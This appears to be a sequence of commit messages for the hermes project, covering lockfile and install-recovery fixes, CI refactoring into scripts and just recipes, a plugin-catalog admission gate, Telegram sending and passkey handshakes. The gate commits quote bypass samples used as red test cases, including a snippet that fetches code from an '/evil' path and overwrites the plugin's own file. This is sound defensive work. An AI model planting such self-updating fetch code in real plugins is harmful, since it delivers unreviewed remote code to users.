The lockfile, projects and receipt key were read before lockCheckout,
which can wait 10 minutes. A run that waited out an update compared the
new trees with the old files: it reused a stale receipt or rejected a good
install. They are now read and validated after the lock is taken.
The relay started pnpm first and the watcher after it, with no error
handler: a watcher spawn failure (a process or descriptor limit) exited the
relay while pnpm went on writing the trees the failed run then restored.
The relay now starts pnpm only once the watcher has spawned, and hands it
the pid on stdin; a watcher that cannot start fails the run before
anything touches the trees.
node-deps had no SIGINT/SIGHUP listener, so a Ctrl-C or closed terminal
during pnpm killed it before the restore and the release: the next run
waited out the 30 s stale limit on a dead owner. The run now outlives the
job signals while its child runs (the child gets them too and exits), and
the CLI exits with the child's 128 + n so Ctrl-C still reports 130.
SIGTERM is left out: one aimed at node-deps alone still kills it and the
relay passes it on.
A takeover rename that kept failing (EPERM/EBUSY/EACCES) skipped both the
deadline check and the sleep, so the wait spun past its limit. A failed
rename now waits like a live owner.
pnpm 12 reads neither npm_config_fetch_retries nor fetch-retries from an npmrc,
so treating them as the user's choice left pnpm's default of 2 retries (~70 s
offline) instead of the user's count or the launch's 1.
A run that lost its lock during the reuse check failed with a raw ENOENT from
the tree the new owner had moved; it now reports the lost lock. A release that
throws (a leaked guard past the wait bound) no longer replaces the error that
failed the run.
Ctrl-Z stops the whole job, pnpm included. A run stopped past the stale limit
lost its lock, but no check could run while it blocked in execFileSync, so on
`fg` its pnpm finished writing into the trees the next owner had installed and
certified.
pnpm and Electron's installer now run under a watcher outside the job (its own
session; taskkill /T on Windows) that re-reads the lock every 250 ms and kills
the child's process tree, stopped first so nothing forks meanwhile, once the
lock is no longer its run's. pnpm stays in the job, so Ctrl-C and Ctrl-Z reach
it as before, and a SIGTERM aimed at node-deps alone is now passed on to it.
A run that breaks a lock replaces it in one rename and waits 2 s before it
touches the trees, so the old owner's watcher acts first.
A launch forced pnpm_config_fetch_retries=1 whenever the env did not set it,
overriding a count in pnpm's config.yaml or pnpm-workspace.yaml, or the user
npmrc's fetch-retries. Lower it only when none of them sets one.
A leaked guard dated in the future (a network filesystem's clock ahead, or a
clock stepped back) never aged out by its mtime, so underGuard spun forever.
It is now judged like the lock, by staying unchanged on this process's
monotonic clock, and the wait stops at the lock's wait limit.
One EBUSY/ESTALE/EMFILE from utimes stopped the heartbeat for good, so a
waiter broke the lock of an install that was still running and both pnpm
installs ran in one checkout. The heartbeat now stops only on release, when
the lock is gone, or when it holds another run's token.
The heartbeat worker's flag lagged a resumed process by up to a beat, and
restore, discard and the Electron step never consulted it. An owner stopped
past the stale limit could restore its old trees over the new owner's fresh
ones, or write a receipt for a tree another run built. Every recover, move,
restore, discard, receipt write and pnpm start now re-reads the lock file and
compares the token; a run that lost it exits without touching the trees or
the set aside.
A source launch (`hermes --tui`, the dashboard) that has to install waited ~70 s on
pnpm's default retries before failing offline and falling back to the previous build,
holding the checkout lock the whole time. Launches now retry a download once (~10 s).
Updates and explicit builds keep the defaults. The retry settings are left out of the
reuse receipt, which covers what is installed, not how it was downloaded.
The pid/host/start-time owner check kept a dead run's lock forever when its pid was
reused by another user's process (EPERM), on Windows and macOS (no start time), after a
hostname change, and it took over a live lock from a sibling PID namespace. The wait had
no limit, so `hermes update` and `hermes --tui` could hang with the remedy cut off a
narrow progress line.
The owner now refreshes the lock's mtime from a worker thread; a lock a waiter sees
unchanged for 30 s of its own monotonic clock is broken, whatever it names. Removals run
under a short guard and re-check the content, which also closes the three-way takeover
race. The wait gives up after 10 minutes, with the remedy at the start of the line. A
run suspended past the stale limit certifies nothing.
The moved-set record is written to a temporary file and renamed, so a kill or ENOSPC
mid-write cannot leave a record that breaks every later run, and a previous set that
cannot be deleted after a successful install no longer fails the run: the next run's
recovery removes it.
A node_modules that is a mount point (a container volume) cannot be
renamed (EBUSY), nor moved to a .cache on another filesystem (EXDEV).
moveAside then restored and threw, so no install ran. Such a tree is
emptied in place, as before the move-aside, and only it cannot be
restored. On Windows EBUSY means an open file, and it stays a failure.
Every run, --no-install and reuse checks included, restored a set left
in .cache/node-deps-previous without a lock. A launch beside an
install put the old trees back under it, and that install then wrote a
receipt for the new inputs over the old tree. A kill while the set was
being deleted left a partial copy, which the next run restored over
the fresh trees.
node-deps now takes .cache/node-deps.lock (owner pid, host and Linux
start time; a dead owner's lock is taken over) around recovery, the
reuse check, the install and the receipt. The set records its trees
before the first move and is marked complete after the last. A run
after a kill keeps a finished pnpm install (one that wrote
.pnpm-workspace-state-v1.json after the move) instead of restoring
over it, and finishes an interrupted move or restore. The set is
renamed away before it is deleted, and the receipt is written first.
The receipt also requires pnpm's installed lock to hold this
lockfile's importers.
node-deps.mjs deleted every installed tree before pnpm fetched anything.
The first pnpm install runs on an empty store, so an unreachable registry
left no node_modules and every later `hermes --tui` failed.
Move the trees under .cache/node-deps-previous instead, put them back if
pnpm or the Electron step fails, and drop them once the install succeeds.
A run killed mid-install gets them back on the next run. Installs still
start from empty trees, because pnpm won't restore gutted packages.
`pnpm fetch` cannot fill the store first in pnpm 12: it takes no filter,
and it rewrites node_modules/.pnpm itself, even when it fails.
Fixes#150031
BearHuddleston: '(?::|=>)' also matched an arrow function returning ajv's id
(const f = $id => '<ajv id>'; fetch(new URL('/evil', f()))), stripping the id
and letting a fetch-base self-updater pass. No JS object declaration uses '=>',
so restrict the separator to ':'. Add arrow_fn_base and other_url_declared as
red cases (the latter pins that only ajv's exact id -- not any
raw.githubusercontent URL in a $id -- is exempt).
Two review findings on the regex approach:
- Greptile: the fixed `$id: "` / `$ref: "` lookbehinds rejected harmless ajv
bundles with quoted keys ("$id":) or minified spacing ($id:"...") -- the very
false rejection this change removes.
- BearHuddleston: the lookahead left a `.../data.json/../../evil` traversal (Node
normalizes it to a real GitHub path) and a real fetch sharing a minified line
with the inert id.
Replace the overloaded grep pattern with a plain grep -E first cut plus a Python
refinement (_file_fetches_github): strip the inert ajv $id/$ref DECLARATION in
any quoting/spacing, then a real raw.githubusercontent / release URL remaining is
a true fetch. "#" is the only id terminator, so a traversal out of data.json is a
different, non-exempt URL; the literal reused as a fetch base is not a declaration
and stays flagged. Tests parametrize four legit declaration forms and four
adversarial forms (two traversals, beside-id, fetch-base).
Greptile (P1): exempting the ajv meta-schema URL by value let the same literal
be abused as an executable fetch base --
`new URL('/evil/repo/main/plugin.js', ajvUrl); fetch(u)...writeFileSync(__filename, body)`
-- whose only raw.githubusercontent occurrence is the exempt id, so the fetch
scan skipped the file and the write scan never saw it.
Pin the exemption to the `$id: "`/`$ref: "` schema-declaration prefix with
fixed-length negative lookbehinds, so the URL is inert only where ajv declares
its meta-schema. The executable-base form, a sibling refs path, and a traversal
all still trip the gate. Adds the new-URL-base exploit as an invariant test.
A plugin that bundles ajv ships ajv's draft-06 meta-schema, whose $id/$ref is
the literal string "https://raw.githubusercontent.com/ajv-validator/ajv/master/
lib/refs/data.json#". ajv matches that identifier by value against its own
in-memory schema; it never drives a network request. But the self-updater gate's
fetch pattern matched raw.githubusercontent.com anywhere, so any such bundle that
also wrote a data file (both halves in one minified file) was rejected as a
self-updater (e.g. subnano's server/cli.js).
Exempt only that exact inert id, pinned up to its "#" fragment terminator via a
negative lookahead (needs grep -P), so a real fetch under any other
raw.githubusercontent path -- or a traversal like .../lib/refs/../../payload.js --
still trips the gate. Two invariant tests cover the exemption and the traversal.
docs-lint-diagrams called the website's lint:diagrams script, which needs
ascii-guard on PATH; only CI installed it, so `just docs-check` stopped
there locally. The recipe now runs the pinned ascii-guard through
scripts.ci.python_packages, the same pm environment CI uses, with the
same arguments: 442 files checked locally, and a malformed box fails it
as it fails the npm script.
check_generated_skill_docs.sh moves to website/scripts/, beside the
generator it checks, so a change to it starts the docs job.
`just termux-payload <payload> <package>...` calls the new
scripts/termux/stage_payload.sh, which runs termux_pkg_build.sh for each
package in order, then stage_runtime_libs.py: the same four commands the
"Stage the pinned bionic runtimes" step ran (build_cpython.sh and
build_uv.sh are one-line wrappers over termux_pkg_build.sh with the
package name as the subdir). The archive_inputs step before it stays a
separate step: it needs R2 credentials and is not a developer command.
The native linker contracts step runs `just test -j 2 <files>`, which is
scripts/run_tests.sh --require-paths with the same arguments.
desktop-bundled-release.yml stages the same payload in separate steps and
is unchanged.
New recipes, each one line over the script CI already ran:
- `just docs-generate`: extract-skills.py, then generate-skill-docs.py.
- `just docs-check-generated`: the "committed skill docs match the
generator" block, moved verbatim into scripts/ci/check_generated_skill_docs.sh
(same `git add -N`, same diff paths, same ::error:: line and exit 1).
- `just docs-check-links`, `just docs-lint-diagrams`.
- `just docs-check`: generate, then the three checks, in CI's order.
docs-site-checks.yml calls docs-install, docs-generate, the three checks
and docs-build. deploy-site.yml calls docs-generate and docs-install; its
generate-skill-docs.py step moves up beside extract-skills.py because it
reads neither the plugin stars nor the plugin catalog the steps between
them write. Its full bilingual `npm run build`, staging and Pages deploy
steps stay inline. Python recipes run through scripts/hermes-python, which
uses the interpreter setup-pm exports as HERMES_PYTHON, as python3 did.
_check_attested removes each verified file from the clone so the payload scan
ignores it, and it ran before _check_self_updater. A plugin could list a JS
updater under attested_binaries: once its provenance checked out the file was
gone, the self-updater grep never saw it, and users still got it from the
pin. Provenance shows where a file came from, not what it does, so the
self-updater gate now runs before anything is removed.
README rule 17 lets a catalog entry ship a native binary listed under
attested_binaries, if `gh attestation verify` proves the plugin repo built it
at the pinned commit. The old inline step fed its parser as
`python3 -I - "$entry" <<PYEOF </dev/null`; the later </dev/null replaced the
heredoc, so the parser ran an empty program, the list always came back empty
and `gh attestation verify` never ran. #151877 moved the step into
scripts/ci/ and kept that dead branch out, so behaviour stayed the same.
The field reader now returns the attested paths beside the clone source and
rejects any that is not a plain relative path. The gate verifies each one
against the entry's repo at the pinned sha, then removes it so the payload
scan ignores it, and any other binary still fails. No catalog entry declares
attested_binaries today, so nothing admitted now changes.
The catalog field reader printed shell assignments and the gate parsed them
back with shlex, a shell layer between two Python programs. It now prints
one JSON object, and the gate rejects the entry unless it gets exactly
REPO, SHA, SUBDIR and BAD as strings.
verify_uv_lock.py let TimeoutExpired escape after 600 s, so the job lost the
attempt's log and published no review status. A timed-out attempt now prints
its partial log, reports "uv.lock check timed out" and stops: retrying three
more 600 s attempts would outlive the job.
Workflows now run their commands as just recipes, so the justfile and the
wrapper its Python recipes use are CI configuration living outside
.github/. The change classifier only failed open on .github/, so a PR
that broke a recipe skipped the jobs that run it and failed after merge.
Both files now count as CI configuration.
Outside CI, HERMES_PYTHON is often inherited from a wrapped hermes (the TUI
sets it for its children) and names a release venv without the dev tools.
scripts/hermes-python ran that interpreter for any unactivated shell, so
just check, just fix and the lefthook ruff hook could run on it instead of
the checkout's environment. The shortcut now also needs
GITHUB_ACTIONS=true, the only caller the header names.
Co-authored-by: Bear Huddleston <196404565+BearHuddleston@users.noreply.github.com>
repo-guards.yml carried twelve inline run blocks of 17 to 79 lines: bash
programs with embedded JSON, heredoc Python and a retry loop. Each moves
into a stdlib Python script that CI and a developer can run alike; the
workflow keeps every step name, id and if: unchanged, and the longest
run block is now one line.
- check_infographic_images.py: Reject committed PR-infographic images
- check_common_ancestor.py: Reject PRs with no common ancestor on main
- check_contributor_emails.py: Check for unmapped contributor emails
- pr_diff_report.py prompt-surface|lockfile: the two advisory diff
summaries (merge base, $GITHUB_OUTPUT changed=, step summary)
- scan_supply_chain.py patterns|dependency-bounds: the supply-chain
scan and the unbounded PyPI dependency check
- verify_uv_lock.py: Verify uv.lock is up-to-date (5/15/45s retry on
registry failures only)
- review_status.py emit <check> | merge <artifact> ENV...: the four
near-identical "Emit review_status (...)" blocks and the supply-chain
merge, as one table of findings
${{ }} values the old blocks interpolated into bash (base_ref, PR base
and head SHAs, the lockfile-diff flag) now reach the scripts through
step env only.
An equivalence harness ran every old block and its replacement on the
same fixture repos (Linux, bash -e, GNU grep): 39 cases, identical exit
code, stdout, stderr, $GITHUB_OUTPUT, step summary and review-status
files. The one deliberate text change: the supply-chain how_to_fix now
points at scripts/ci/scan_supply_chain.py, where the pattern lives.
tests/ci/test_repo_guard_checks.py covers each guard as its step runs it.
The two long run: blocks of plugin-catalog-ci.yml move into scripts/ci/,
so the admission gate can be read, tested and run outside a workflow:
- "Find changed catalog entries" (41 lines) ->
scripts/ci/catalog_changed_entries.py: the merge-commit check, the
AMRT entry list without removed.yaml, the data-only rule for entry PRs,
and the files<<__EOF__ block in $GITHUB_OUTPUT.
- "Clone each entry at its pinned sha and validate" (235 lines) ->
scripts/ci/catalog_validate_pinned_entries.py, with the entry-field
parser that the step fed to `python3 -I -` on a heredoc now in
scripts/ci/catalog_entry_fields.py (still run with -I, still evaled
as shlex-quoted assignments, still reset to "parser failed" when it
dies).
Both steps run `python3 -I "$GITHUB_WORKSPACE/scripts/ci/<script>"`;
env, error lines, PASS/FAIL lines and exit codes are unchanged. The
attested_binaries block is not carried over: its parser ran with
`<<'PYEOF' </dev/null`, so the later redirect gave python an empty
program, ATTESTED was always empty and no `gh attestation verify` ever
ran. Dropping it keeps today's behaviour (a declared binary still fails
the payload scan).
test_plugin_catalog_ci_confinement.py still runs the workflow step text
(now the script call); every case passes against both the old and the
new workflow. test_catalog_pinned_confinement.py adds a POSIX test of
the confinement rule and the entry-field rejections, since the step
test is Linux-only.
The freshness workflow carried a 64-line inline Python judge and two
near-identical bash blocks that open or comment on a watchdog issue.
- `Probe live index`: the heredoc judge moves to
scripts/ci/skills_index_probe.py (same floors, 26 h limit, 1500 total,
same output lines on stdout, exit 0 for every verdict). curl stays
inline in the step.
- Both "Open issue" steps call scripts/ci/skills_index_watchdog_issue.py
with `skills-index` or `plugin-catalog-cors`. One table holds the two
title prefixes, titles and bodies; the find/comment/create logic is
written once. GH_TOKEN, STATUS and DETAIL stay in the step env and the
repository comes from GITHUB_REPOSITORY instead of `${{ }}` in the script.
The prefix filter that used `--jq startswith` is now done in Python.
Tests judge saved index fixtures and drive the watchdog against a stub
gh, with no network.
setup-pm installs the just pm/lock.json pins (python, node and all
toolchains) and forwards just-version and just-path. Three workflows then call
recipes instead of spelling the command out:
- lint.yml: each guard step runs `just check --only <name>`, so the guard list
lives once, in scripts/check. Adding a guard there and forgetting lint.yml
no longer leaves CI running a different set. The ratchet step is
`just check --only health --base HEAD^1`.
- tests.yml: the sliced full-suite step is `just test-all`.
- js-tests.yml: the parallel workspace checks are `just check-js-ci`.
Python recipes run through scripts/hermes-python: on a runner it uses the
interpreter setup-pm exported as HERMES_PYTHON (as run_tests.sh does), so a
recipe never re-runs setup in CI. Elsewhere it goes through run-in-hermes-env.
--require-paths checked positional paths, --files and --files-from, so
`just test --paths tests/agent/` was refused as if it named nothing. A
--paths value other than the default root counts as a named path.
- `just test -v` passed the recipe's one-argument check and then
discovered all of tests/. The runner takes --require-paths, which refuses
a run naming no path or file list, and `just test` passes it.
- `just test-js` ran the TUI tests before @hermes/ink was built. It builds it
first, as the TUI's own `check` script does.
- `just lock` went through run-in-hermes-env, which syncs first; after a
pyproject.toml edit the sync refuses the stale uv.lock before pm lock runs.
scripts/relock.sh runs pm lock with the bootstrap Python, then syncs.
- `just setup` on Windows called pwsh, which a stock Windows does not have.
It uses powershell.exe, as activate.ps1's own caller does.
The justfile held per-workspace eslint recipes that duplicated lefthook and
ran whatever ruff was on PATH. It is now one menu of developer commands:
setup, check, fix, test, the JS workspace checks, the desktop and TUI dev
servers, the website build and the PM re-lock. Each recipe calls an existing
script or tool. Python recipes go through scripts/run-in-hermes-env, so they
work in a shell that never ran `source ./activate`.
`just test` requires at least one path, because scripts/run_tests.sh with no
arguments starts the full suite; `just test-all` is that explicit form.
`python -m scripts.code_health.ruff_runner ARGS` runs the pyproject-pinned ruff
that scripts/check resolves. `just fix` and the pre-commit `just ruff` recipe
use it, so the hook no longer depends on the ruff version on PATH.
lefthook.yml keeps its jobs, globs and roots; each job now runs `just ruff` or
`just eslint`. A shell without `just` on PATH fails the hook with "command not
found" rather than skipping the lint.
CONTRIBUTING.md, the developer guide, the package-management reference and the
desktop and TUI READMEs name the recipes beside the commands they run.
scripts/bundles/native.py staged every non-internal lockfile package, so
pinning just put it in every desktop payload and on the shipped agent's
PATH. Bundle selection now skips DEVELOPER_TOOLS, like a user install.
Tests: a bundle never stages just while the lockfile pins it; on Termux
just is checked from its file and never run.
No workflow runs a just recipe yet, so installing just in every setup-pm
job only added a download, and one with no mirror copy until the pin lands
on main. setup-pm goes back to main. The workflow change that first calls a
recipe adds just to CI with it.
scripts/tool_store_pins.py decides whether run_tests.sh may share the
account tool store. It checked the tools cmd_install provisions but not the
developer tools, so a store with a missing or broken just was shared and the
test-environment install could then rewrite it. It now walks them too.
Setup asked for just by name: `pm install --test-environment` and every
setup-pm toolchain. A lockfile without a just pin (an older branch, a test
fixture repo) then stopped setup with "just: not in the lockfile", and
archive_inputs refused it as an unknown pinned package.
Both paths now take the developer tools from the lockfile they read, so a
lockfile without just installs without it. The repository lock pins just,
so developers and CI still get it.
Add a `just` binary package (casey/just 1.59.0, musl on Linux, the static
aarch64 musl build on Termux like ripgrep) and pin all nine targets in
pm/lock.json. Digests come from GitHub's release API, as llama.cpp's do.
They match upstream SHA256SUMS.
The package is optional, so `source_install_packages` keeps it out of
every user install. `pm.testenv.DEVELOPER_TOOLS` names it, and
`pm install --test-environment` (what activation runs) installs it with
the default closure. activation_environment then puts it on the activated
PATH. setup-pm installs it in every toolchain, so every CI job can call
`just`.
Windows ARM64 just.exe imports no vcruntime140.dll (PE imports checked),
so it needs none of ripgrep's VC runtime staging.
The out-of-process Telegram sender (_send_telegram and its bot, retry, text, media,
album and format helpers) moves from tools/send_message_senders.py into
plugins/platforms/telegram/standalone.py, registered as the PlatformEntry
standalone_sender_fn (the Signal pattern). _send_to_platform reaches it through
_plugin_standalone_sender and passes notify; core no longer imports the Telegram
plugin, and the plugin no longer imports tools.send_message_tool._send_telegram.
Small local copies of the caption split and the result/redaction helpers keep the
plugin on its published API. boundary_lint --update: only removals vs origin/main.
The standalone sender (hermes send, the send_message tool, standalone cron delivery) now
makes the gateway adapter's outbound decisions:
- rich_messages: true -> the adapter's own sendRichMessage gates and routing
(telegram_outbound.send_rich_standalone over the standalone Bot), so tables, task lists,
<details> and $$ math render natively; a transient rich failure is not resent as legacy.
- A rejected Bot API HTML chunk (an unsupported tag next to supported ones) retries as
MarkdownV2 before plain text, so its Markdown still renders.
- display.platforms.telegram.notifications applies to every standalone text/media send;
_send_to_platform(notify=) rings regardless, and cron's standalone lane passes
cron.delivery.notify so briefs ring in both lanes (#92929).
- Invisible-only text (zero-width, BOM, soft hyphen, bidi marks) is never delivered, in
both the adapter's send() and the standalone sender.
The notifications resolver moves from adapter.py into telegram_outbound.py and reads the
active profile's config.yaml through load_config_readonly(): it passed the GatewayConfig
dataclass to cfg_get, which only walks dicts, so the config.yaml key was always ignored
(regressed in 5600105478).
Fixes#74004, fixes#124413, fixes#145606, fixes#60848, fixes#131924, fixes#144895
Co-authored-by: Dean Chen <862469039@qq.com>
Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>
Co-authored-by: Lavya Tandel <160998697+LavyaTandel@users.noreply.github.com>
hermes send, the send_message tool and standalone cron delivery built a bare
telegram.Bot: api.telegram.org only (platforms.telegram.extra.base_url ignored),
PTB's 5s/1s defaults and 20s media write timeout (HERMES_TELEGRAM_HTTP_* ignored),
no TelegramFallbackTransport. _telegram_bot now takes the platform extra and
builds the same request shape as the adapter's _build_ptb_requests: base_url /
base_file_url, the adapter's timeouts incl. media_write_timeout=60, proxy
(TELEGRAM_PROXY or extra.proxy_url), else the fallback-IP transport over the
configured or seed IPs (no DoH on a one-shot send).
The retry classifier also retries a connect or pool timeout (the request never
left, the adapter's _looks_like_connect_timeout / _looks_like_pool_timeout),
while every other timeout stays final.
Live probe (real `hermes send` -> stand-in Bot API via extra.base_url):
main: {"error": "Telegram send failed: Unauthorized"} (went to api.telegram.org)
head: success, one sendMessage on the stand-in, message visible.
Fixes#51223, fixes#62936, fixes#20915, fixes#47229, fixes#145412
Salvages #145428 (@locker95), #119934 (@OsmanSujoy), #125409 (@linfeng961)
Co-authored-by: Dean Chen <862469039@qq.com>
Co-authored-by: Osman Gani <32834772+OsmanSujoy@users.noreply.github.com>
Co-authored-by: linfeng961 <133505766+linfeng961@users.noreply.github.com>
run_tests.sh forwarded HERMES_E2E_UPGRADE_BASE and HERMES_E2E_N1_REF
but dropped the suite's other knobs: HERMES_E2E_INSTALL_REF (installs a
patched commit to prove a leg red), HERMES_E2E_GIT_OBJECTS (an extra
object store for the smart-HTTP origin) and HERMES_E2E_KEEP_ROOT. Set
through the runner, they were ignored without a message. None is a
credential.
Part of #150040
The existing handoff test supersedes only while the first attempt is still
signing, so consuming the key on use again would pass it. This sends two
requests, each signed at once, and checks both prologues carry an HMAC under
the QR secret. Follow-up from BearHuddleston's review of #150938.
Co-authored-by: BearHuddleston <196404565+BearHuddleston@users.noreply.github.com>
Baileys awaits prekey upload and passive IQs between CB:success and 'open', so
connectionState is still 'disconnected' when a passkey_prologue_request can
arrive; the guard now also accepts registered creds (creds.me.id).
Co-authored-by: BearHuddleston <196404565+BearHuddleston@users.noreply.github.com>
readline's question() rejects Ctrl+C with its own AbortError while the attempt's
signal is untouched; passkey_socket.js dropped it as a supersede, so the bridge
kept running with no prompt. Only this attempt's aborted signal now counts as a
supersede; any other AbortError becomes an ordinary failure (exit 1).
A superseding passkey_prologue_request re-derived the handoff HMAC key from the
ADV secret the first request had already rotated in, which the phone never saw.
The key is now derived once per flow and kept for its five-minute window.
Co-authored-by: BearHuddleston <196404565+BearHuddleston@users.noreply.github.com>